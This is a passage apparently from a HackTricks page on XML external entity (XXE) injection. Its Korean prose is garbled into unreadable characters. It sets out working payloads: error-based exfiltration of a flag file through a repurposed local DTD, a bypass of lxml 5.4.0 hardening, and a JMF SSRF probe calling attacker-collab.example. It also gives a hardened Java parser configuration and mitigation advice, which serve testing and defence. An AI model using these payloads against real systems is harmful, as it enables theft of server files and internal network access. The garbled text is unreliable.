<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">). %flag;๊ฐ์ ํฌํจํ๋ ์ ํจํ์ง ์์ ๊ฒฝ๋ก๋ฅผ ์ฐธ์กฐํ๋ ๋ ๋ค๋ฅธ ํ๋ผ๋ฏธํฐ ์ํฐํฐ๋ฅผ ์์ฑํ๊ณ ํ์ ์ค๋ฅ๋ฅผ ์ ๋ฐํฉ๋๋ค (<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">).
- ๋ง์ง๋ง์ผ๋ก
%local_dtd;์%eval;๋ฅผ ํ์ฅํ์ฌ ํ์๊ฐ%error;๋ฅผ ๋ง๋๊ณ/aaa/<FLAG>๋ฅผ ์ด์ง ๋ชปํ๊ฒ ํ์ฌ ํ๋๊ทธ๊ฐ ๋ฐ์ํ ์์ธ ๋ด์ ๋์ถ๋๋๋ก ํฉ๋๋ค โ ์ด๋ ์ข ์ข ์ ํ๋ฆฌ์ผ์ด์ ์ ์ํด ์ฌ์ฉ์์๊ฒ ๋ฐํ๋ฉ๋๋ค.
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>
์ ํ๋ฆฌ์ผ์ด์ ์ด ์์ธ๋ฅผ ์ถ๋ ฅํ ๋ ์๋ต์๋ ๋ค์์ด ํฌํจ๋ฉ๋๋ค:
Error : failed to load external entity "file:///aaa/FLAG{secret}"
Tip
ํ์๊ฐ ๋ด๋ถ ์๋ธ์ ๋ด์
%/&๋ฌธ์์ ๋ํด ๋ถํํ๋ ๊ฒฝ์ฐ, ์ด๋ค์ ์ด์ค ์ธ์ฝ๋ฉ(&#x25;โ%)ํ์ฌ ํ์ฅ์ ์ง์ฐ์ํต๋๋ค.
2. lxml 5.4.0 ํ๋๋ ์ฐํ (libxml2๋ ์ฌ์ ํ ์ทจ์ฝํจ)
lxml โฅ 5.4.0์ ์์ ๊ฐ์ error ๋งค๊ฐ๋ณ์ ์ํฐํฐ๋ฅผ ๊ธ์งํ์ง๋ง, libxml2๋ ์ฌ์ ํ ์ด๋ฅผ general ์ํฐํฐ์ ํฌํจํ ์ ์๋๋ก ํ์ฉํฉ๋๋ค. ์๋ น์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ํ์ผ์ ๋งค๊ฐ๋ณ์ ์ํฐํฐ
%file๋ก ์ฝ์ต๋๋ค. - non-existent protocol์ธ
meow://%file;์ ์ฌ์ฉํ๋ general ์ํฐํฐc๋ฅผ ๊ตฌ์ถํ๋ ๋ ๋ค๋ฅธ ๋งค๊ฐ๋ณ์ ์ํฐํฐ๋ฅผ ์ ์ธํฉ๋๋ค. - XML ๋ณธ๋ฌธ์
&c;๋ฅผ ๋ฐฐ์นํฉ๋๋ค. ํ์๊ฐmeow://โฆ๋ฅผ ์ญ์ฐธ์กฐํ๋ ค๊ณ ํ ๋ ์คํจํ๊ณ ์ค๋ฅ ๋ฉ์์ง์ ํ์ผ ๋ด์ฉ์ ํฌํจํ ์ ์ฒด URI๋ฅผ ๋ฐ์ํฉ๋๋ค.
<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>
์ฃผ์ ๋ด์ฉ
- ํ๋ผ๋ฏธํฐ ์ํฐํฐ๋
resolve_entities๊ฐ XXE๋ฅผ ์ฐจ๋จํด์ผ ํ ๋์๋ libxml2์ ์ํด ์ฌ์ ํ ํ์ฅ๋ฉ๋๋ค. - ์ ํจํ์ง ์์ URI ๋๋ ์กด์ฌํ์ง ์๋ ํ์ผ์ ์ ์ด๋ ๋ฐ์ดํฐ๋ฅผ ๋ฐ์ํ ์์ธ์ ์ฐ๊ฒฐํ๊ธฐ์ ์ถฉ๋ถํฉ๋๋ค.
- ์ด ๊ธฐ์ ์ ์์๋ฐ์ด๋ ์ฐ๊ฒฐ ์์ด ์๋ํ๋ฏ๋ก, ์๊ฒฉํ๊ฒ ์ด๊ทธ๋ ์ค ํํฐ๋ง๋ ํ๊ฒฝ์ ์ด์์ ์ ๋๋ค.
์ํ ์ง์นจ
- lxml โฅ 5.4.0์ผ๋ก ์ ๊ทธ๋ ์ด๋ํ๊ณ , ๊ธฐ๋ณธ libxml2๊ฐ โฅ 2.13.8์ธ์ง ํ์ธํ์ญ์์ค.
- ์ ๋ ํ์ํ์ง ์๋ ํ
load_dtd๋ฐ/๋๋resolve_entities๋ฅผ ๋นํ์ฑํํ์ญ์์ค. - ํด๋ผ์ด์ธํธ์๊ฒ ์์ ํ์ ์ค๋ฅ๋ฅผ ๋ฐํํ๋ ๊ฒ์ ํผํ์ญ์์ค.
Java DocumentBuilderFactory ๊ฐํ ์์
Java ์ ํ๋ฆฌ์ผ์ด์
์ ์ข
์ข
DocumentBuilderFactory๋ฅผ ์ฌ์ฉํ์ฌ XML์ ํ์ฑํฉ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ์ด ํฉํ ๋ฆฌ๋ ์ธ๋ถ ์ํฐํฐ ํด์์ ํ์ฉํ๋ฏ๋ก, ์ถ๊ฐ์ ์ธ ๊ฐํ ํ๋๊ทธ๊ฐ ์ค์ ๋์ง ์์ผ๋ฉด XXE ๋ฐ SSRF์ ์ทจ์ฝํฉ๋๋ค:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
๋ณด์ ๊ตฌ์ฑ ์:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Completely forbid any DOCTYPE declarations (best-effort defence)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Disable expansion of external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Enable "secure processing" which applies additional limits
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
// Defensive extras
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
์ ํ๋ฆฌ์ผ์ด์
์ด ๋ด๋ถ์ ์ผ๋ก DTD๋ฅผ ์ง์ํด์ผ ํ๋ ๊ฒฝ์ฐ, disallow-doctype-decl์ ๋นํ์ฑํ ์ํ๋ก ์ ์งํ๋ ํญ์ ๋ ๊ฐ์ external-*-entities ๊ธฐ๋ฅ์ false๋ก ์ค์ ํด์ผ ํฉ๋๋ค. ์ด ์กฐํฉ์ ๊ณ ์ ์ ์ธ ํ์ผ ๋
ธ์ถ ํ์ด๋ก๋(file:///etc/passwd)์ ๋คํธ์ํฌ ๊ธฐ๋ฐ SSRF ๋ฒกํฐ(http://169.254.169.254/โฆ, jar: ํ๋กํ ์ฝ ๋ฑ)๋ฅผ ๋ฐฉ์งํฉ๋๋ค.
์ค์ ์ฌ๋ก ์ฐ๊ตฌ: CVE-2025-27136์์ Java S3 ์๋ฎฌ๋ ์ดํฐ LocalS3๋ ์์ ํ์๋ ์ทจ์ฝํ ์์ฑ์๋ฅผ ์ฌ์ฉํ์ต๋๋ค. ์ธ์ฆ๋์ง ์์ ๊ณต๊ฒฉ์๋ CreateBucketConfiguration ์๋ํฌ์ธํธ์ ์กฐ์๋ XML ๋ณธ๋ฌธ์ ์ ๊ณตํ์ฌ ์๋ฒ๊ฐ HTTP ์๋ต์ ๋ก์ปฌ ํ์ผ(์: /etc/passwd)์ ํฌํจํ๋๋ก ํ ์ ์์์ต๋๋ค.
JMF/ํ๋ฆฐํธ ์ค์ผ์คํธ๋ ์ด์ ์๋น์ค์ XXE โ SSRF
์ผ๋ถ ํ๋ฆฐํธ ์ํฌํ๋ก์ฐ/์ค์ผ์คํธ๋ ์ด์
ํ๋ซํผ์ XML์ TCP๋ฅผ ํตํด ์์ ํ๋ ๋คํธ์ํฌ ๋๋ฉด Job Messaging Format (JMF) ๋ฆฌ์ค๋๋ฅผ ๋
ธ์ถํฉ๋๋ค. ๊ธฐ๋ณธ ํ์๊ฐ DOCTYPE์ ์์ฉํ๊ณ ์ธ๋ถ ์ํฐํฐ๋ฅผ ํด๊ฒฐํ๋ ๊ฒฝ์ฐ, ๊ณ ์ ์ ์ธ XXE๋ฅผ ํ์ฉํ์ฌ ์๋ฒ๊ฐ ์์๋ฐ์ด๋ ์์ฒญ(SSRF)์ ํ๊ฑฐ๋ ๋ก์ปฌ ๋ฆฌ์์ค์ ์ ๊ทผํ๋๋ก ๊ฐ์ ํ ์ ์์ต๋๋ค.
ํ์ฅ์์ ๊ด์ฐฐ๋ ์ฃผ์ ์ฌํญ:
- ์ ์ฉ ํฌํธ(์ผ๋ฐ์ ์ผ๋ก Xerox FreeFlow Core์ 4004)์์์ ๋คํธ์ํฌ ๋ฆฌ์ค๋(์: JMF ํด๋ผ์ด์ธํธ).
disallow-doctype-decl๋๋ ์ํฐํฐ ํด์ ๊ฐ ๋นํ์ฑํ๋ ์ํ์์ jar ๋ด์ Java ๊ธฐ๋ฐ XML ํ์ฑ(์:jmfclient.jar).- ์์์ค๋ธ๋ฐด๋ ์ฝ๋ฐฑ์ด ์ ๋ขฐํ ์ ์๊ฒ ์ต์คํ๋ก์์ ํ์ธํฉ๋๋ค.
์ต์ JMF ์คํ์ผ SSRF ํ๋ก๋ธ(๊ตฌ์กฐ๋ ์ ํ์ ๋ฐ๋ผ ๋ค๋ฅด์ง๋ง DOCTYPE์ด ์ค์ํจ):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>
๋ ธํธ:
- ์ํฐํฐ URL์ ํ๋ ฅ์๋ก ๊ต์ฒดํ์ญ์์ค. SSRF๊ฐ ๊ฐ๋ฅํ๋ฉด ์๋ฒ๋ ๋ฉ์์ง๋ฅผ ํ์ฑํ๋ ๋์ ์ด๋ฅผ ํด๊ฒฐํฉ๋๋ค.
- ํ์ธํด์ผ ํ ํ๋๋:
disallow-doctype-decl=true,external-general-entities=false,external-parameter-entities=false. - JMF ํฌํธ๊ฐ ํ์ผ์ ์ ๊ณตํ์ง ์๋๋ผ๋, SSRF๋ ๋ด๋ถ ์ฌ์กฐ์ฌ ๋๋ ๋ก์ปฌํธ์คํธ์ ๋ฐ์ธ๋ฉ๋ ๊ด๋ฆฌ API์ ๋๋ฌํ๊ธฐ ์ํด ์ฐ๊ฒฐ๋ ์ ์์ต๋๋ค.
์ด ๋ฒกํฐ์ ๋ํ ์ฐธ์กฐ๋ ํ์ด์ง ๋์ ๋์ด๋์ด ์์ต๋๋ค.
์ฐธ์กฐ
-
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
-
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
-
HTTP๋ฅผ ํตํด ์์ฒด ์ธ๋ถ DTD๋ฅผ ์ฌ์ฉํ์ฌ ์ ๋ณด ์ถ์ถ: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
-
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
-
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
-
Horizon3.ai โ From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


